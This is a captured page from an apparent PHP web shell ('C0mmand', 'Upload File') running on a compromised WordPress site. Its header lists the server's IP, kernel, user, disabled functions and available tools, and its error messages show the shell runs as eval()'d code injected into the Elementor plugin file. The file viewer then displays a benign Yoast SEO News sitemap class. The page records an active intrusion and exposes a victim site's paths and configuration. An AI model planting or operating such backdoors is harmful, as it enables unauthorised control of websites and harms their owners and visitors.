|
Server IP : 172.19.0.4 / Your IP : 216.73.216.172 Web Server : nginx/1.28.3 System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341 OFF Directory (0755) : /data1/wwwroot/sc-forklift.com/wp-content/plugins/wpseo-news/classes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Yoast SEO: News plugin file.
*
* @package WPSEO_News\XML_Sitemaps
*/
use Yoast\WP\SEO\Models\Indexable;
/**
* The News Sitemap entry.
*/
class WPSEO_News_Sitemap_Item {
/**
* The date helper.
*
* @var WPSEO_Date_Helper
*/
protected $date;
/**
* The output which will be returned.
*
* @var string
*/
private $output = '';
/**
* The current item.
*
* @var Indexable
*/
private $item;
/**
* The publication tag
*
* @var string
*/
private $publication_tag;
/**
* Setting properties and build the item.
*
* @param Indexable $item The post.
* @param string $publication_tag The publication tag.
*/
public function __construct( $item, $publication_tag ) {
$this->item = $item;
$this->publication_tag = $publication_tag;
$this->date = new WPSEO_Date_Helper();
// Check if item should be skipped.
if ( ! $this->skip_build_item() ) {
$this->build_item();
}
}
/**
* Return the output, because the object is converted to a string.
*
* @return string
*/
public function __toString() {
return $this->output;
}
/**
* Determines if the item has to be skipped or not.
*
* @return bool True if the item has to be skipped.
*/
private function skip_build_item() {
$skip_build_item = false;
/**
* Filter: 'Yoast\WP\News\skip_build_item' - Allow override of decision to skip adding this item to the news sitemap.
*
* @param bool $skip_build_item Whether this item should be built for the sitemap.
* @param int $item_id ID of the current item to be skipped or not.
*
* @since 12.8.0
*/
$skip_build_item = apply_filters( 'Yoast\WP\News\skip_build_item', $skip_build_item, $this->item->object_id );
return is_bool( $skip_build_item ) && $skip_build_item;
}
/**
* Building each sitemap item.
*
* @return void
*/
private function build_item() {
$this->output .= '<url>' . "\n";
$this->output .= "\t<loc>" . $this->item->permalink . '</loc>' . "\n";
// Building the news_tag.
$this->build_news_tag();
$this->output .= '</url>' . "\n";
}
/**
* Building the news tag.
*
* @return void
*/
private function build_news_tag() {
$this->output .= "\t<news:news>\n";
$this->output .= $this->publication_tag;
$this->output .= "\t\t<news:publication_date>" . $this->date->format( $this->item->object_published_at ) . '</news:publication_date>' . "\n";
$this->output .= "\t\t<news:title><![CDATA[" . $this->item->title . ']]></news:title>' . "\n";
if ( ! empty( $this->item->stock_tickers ) ) {
$this->output .= "\t\t<news:stock_tickers><![CDATA[" . $this->item->stock_tickers . ']]></news:stock_tickers>' . "\n";
}
$this->output .= "\t</news:news>\n";
}
}